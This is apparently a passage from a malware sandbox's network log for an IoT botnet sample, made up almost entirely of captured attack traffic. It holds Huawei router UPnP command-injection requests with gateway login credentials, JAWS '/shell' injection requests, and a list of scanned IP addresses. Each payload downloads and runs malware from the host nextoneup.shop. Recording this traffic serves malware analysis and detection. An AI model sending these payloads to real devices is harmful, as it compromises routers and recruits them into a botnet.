huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 34.243.160.129
Source: unknown	TCP traffic detected without corresponding DNS query: 34.243.160.129
Source: unknown	TCP traffic detected without corresponding DNS query: 34.243.160.129
Source: unknown	TCP traffic detected without corresponding DNS query: 112.181.115.189
Source: unknown	TCP traffic detected without corresponding DNS query: 165.15.251.233
Source: unknown	TCP traffic detected without corresponding DNS query: 129.48.140.172
Source: unknown	TCP traffic detected without corresponding DNS query: 23.8.133.2
Source: unknown	TCP traffic detected without corresponding DNS query: 79.119.247.140
Source: unknown	TCP traffic detected without corresponding DNS query: 169.203.236.190
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.200.193
Source: unknown	TCP traffic detected without corresponding DNS query: 212.169.187.19
Source: unknown	TCP traffic detected without corresponding DNS query: 27.246.134.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.215.58.2
Source: unknown	TCP traffic detected without corresponding DNS query: 82.86.37.210
Source: unknown	TCP traffic detected without corresponding DNS query: 78.37.153.117
Source: unknown	TCP traffic detected without corresponding DNS query: 35.204.34.4
Source: unknown	TCP traffic detected without corresponding DNS query: 18.46.152.142
Source: unknown	TCP traffic detected without corresponding DNS query: 190.38.241.76
Source: unknown	TCP traffic detected without corresponding DNS query: 145.240.57.90
Source: unknown	TCP traffic detected without corresponding DNS query: 58.197.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 152.176.217.213
Source: unknown	TCP traffic detected without corresponding DNS query: 205.12.6.67
Source: unknown	TCP traffic detected without corresponding DNS query: 159.39.24.196
Source: unknown	TCP traffic detected without corresponding DNS query: 166.112.211.248
Source: unknown	TCP traffic detected without corresponding DNS query: 61.90.174.232
Source: unknown	TCP traffic detected without corresponding DNS query: 91.80.228.1
Source: unknown	TCP traffic detected without corresponding DNS query: 157.50.143.149
Source: unknown	TCP traffic detected without corresponding DNS query: 202.76.145.236
Source: unknown	TCP traffic detected without corresponding DNS query: 206.46.18.56
Source: unknown	TCP traffic detected without corresponding DNS query: 161.126.132.112
Source: unknown	TCP traffic detected without corresponding DNS query: 181.170.248.34
Source: unknown	TCP traffic detected without corresponding DNS query: 112.23.160.136
Source: unknown	TCP traffic detected without corresponding DNS query: 116.117.90.4
Source: unknown	TCP traffic detected without corresponding DNS query: 64.29.47.150
Source: unknown	TCP traffic detected without corresponding DNS query: 121.7.142.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.7.106.21
Source: unknown	TCP traffic detected without corresponding DNS query: 84.59.177.123
Source: unknown	TCP traffic detected without corresponding DNS query: 62.219.46.199
Source: unknown	TCP traffic detected without corresponding DNS query: 204.248.213.47
Source: unknown	TCP traffic detected without corresponding DNS query: 171.67.44.153
Source: unknown	TCP traffic detected without corresponding DNS query: 47.137.66.55
Source: unknown	TCP traffic detected without corresponding DNS query: 9.134.173.45
Source: unknown	TCP traffic detected without corresponding DNS query: 157.243.24.201
Source: unknown	TCP traffic detected without corresponding DNS query: 99.155.28.31
Source: unknown	TCP traffic detected without corresponding DNS query: 69.98.11.221
Source: unknown	TCP traffic detected without corresponding DNS query: 197.174.206.36
Source: unknown	TCP traffic detected without corresponding DNS query: 94.179.135.89
Source: unknown	TCP traffic detected without corresponding DNS query: 122.218.230.172
Source: unknown	TCP traffic detected without corresponding DNS query: 166.0.21.134
Source: unknown	TCP traffic detected without corresponding DNS query: 19.86.13.192

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
